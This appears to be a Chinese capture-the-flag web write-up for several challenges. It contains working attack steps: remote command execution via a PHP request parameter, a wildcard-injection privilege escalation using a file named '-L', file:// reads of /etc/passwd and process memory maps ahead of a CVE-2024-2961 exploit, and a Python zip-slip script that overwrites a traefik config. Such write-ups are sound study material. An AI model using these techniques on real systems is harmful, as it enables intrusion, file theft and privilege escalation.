前言
比隔壁好打(
我要是大一就好了
backup
ctrl+u找到hint:
//# sourceURL=pen.js
//$cmd = $_REQUEST["__2025.happy.new.year"];
传参_[2025.happy.new.year
然后就能 rce
先读一下 index.php
<?php
// 真的这么简单吗
// highlight_file(__FILE__);
$cmd = $_REQUEST["__2025.happy.new.year"];
system($cmd);
?>
backup/keep.txt 和 primary/keep.txt 均为空
接下来要提权,总之先蚁剑以 cmdlinux 连上去,注意到 primary 文件夹有写权限
进程
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:34 ? 00:00:00 /bin/sh -c /start.sh
root 7 1 0 13:34 ? 00:00:00 /bin/bash /start.sh
root 13 7 0 13:34 ? 00:00:00 /bin/bash /backup.sh
root 22 1 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
root 23 7 0 13:34 ? 00:00:00 sleep infinity
www-data 24 22 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 27 22 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 129 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 134 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 135 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 136 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 137 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 143 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 147 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 149 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
root 1357 13 0 14:18 ? 00:00:00 sleep 15s
/backup.sh
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
done
这里每15秒会把 primary 下的所有文件复制到 backup
cp -P
会直接复制整个软链接而不是软链接指向的内容
尝试在文件名处进行通配符在野注入,参考:https://www.cnblogs.com/linuxsec/articles/10701392.html
把-L
选项注入进去实现复制软链接指向的内容
echo "">'-L'
ln -s /flag flag
等待15s后 backup 下出现flag
Gavatar
白名单文件上传
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
或者任意url
elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
试一下 file:///etc/passwd
那么接下来要rce
测了下发现出网,那尝试写个马
获取user_id,file:///var/www/db/db.json
读取db.json
{
"users": [
{
"id": "befc3c75-5af3-4715-9450-ac69879ddd42",
"username": "1",
"password": "$2y$10$M47\/Bxtr4jlUgyEPCaYWMeOP5UdHyRVJaXySpwHr6el48U6BmsXCm"
}
]
}
文件上传的路径有了,接下来的问题是控制后缀,这里是php8,phar寄了
考虑打CVE-2024-2961,file:///proc/self/maps
取 maps,file:///usr/lib/x86_64-linux-gnu/libc.so.6
取 libc.so.6
然后跑脚本打payload
traefik
package main
import (
"archive/zip"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
const uploadDir = "./uploads"
func unzipSimpleFile(file *zip.File, filePath string) error {
outFile, err := os.Create(filePath)
if err != nil {
return err
}
defer outFile.Close()
fileInArchive, err := file.Open()
if err != nil {
return err
}
defer fileInArchive.Close()
_, err = io.Copy(outFile, fileInArchive)
if err != nil {
return err
}
return nil
}
func unzipFile(zipPath, destDir string) error {
zipReader, err := zip.OpenReader(zipPath)
if err != nil {
return err
}
defer zipReader.Close()
for _, file := range zipReader.File {
filePath := filepath.Join(destDir, file.Name)
if file.FileInfo().IsDir() {
if err := os.MkdirAll(filePath, file.Mode()); err != nil {
return err
}
} else {
err = unzipSimpleFile(file, filePath)
if err != nil {
return err
}
}
}
return nil
}
func randFileName() string {
return uuid.New().String()
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/flag", func(c *gin.Context) {
xForwardedFor := c.GetHeader("X-Forwarded-For")
if !strings.Contains(xForwardedFor, "127.0.0.1") {
c.JSON(400, gin.H{"error": "only localhost can get flag"})
return
}
flag := os.Getenv("FLAG")
if flag == "" {
flag = "flag{testflag}"
}
c.String(http.StatusOK, flag)
})
r.GET("/public/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}
randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)
if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}
zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}
if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}
c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
})
r.Run(":8080")
}
功能点就一个文件上传解压
https://github.com/jphetphoumy/traefik-CVE-2024-45410-poc
https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv
traefik v3.2.3 版本对不上
dynamic.yml
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
猜测还是要从文件上传入手,利用 zipslip 实现目录穿越文件覆盖,参考:https://saucer-man.com/information_security/364.html
ai 改一个 dynamic.yml,添加 /flag 路由,并且使用中间件处理发送 xff 请求头
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-header
middlewares:
add-header:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
生成压缩包
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../../../../app/.config/dynamic.yml')
上传,此时的 dynamic.yml 就是我们构造的配置文件了
直接访问 /flag 即可
EasyDB(Unsolved)
代码逻辑十分简单,就一个登录登出,账密 admin:admin
然后就是 jdbc
不会
display(Unsolved)
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
短短一行限制:const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";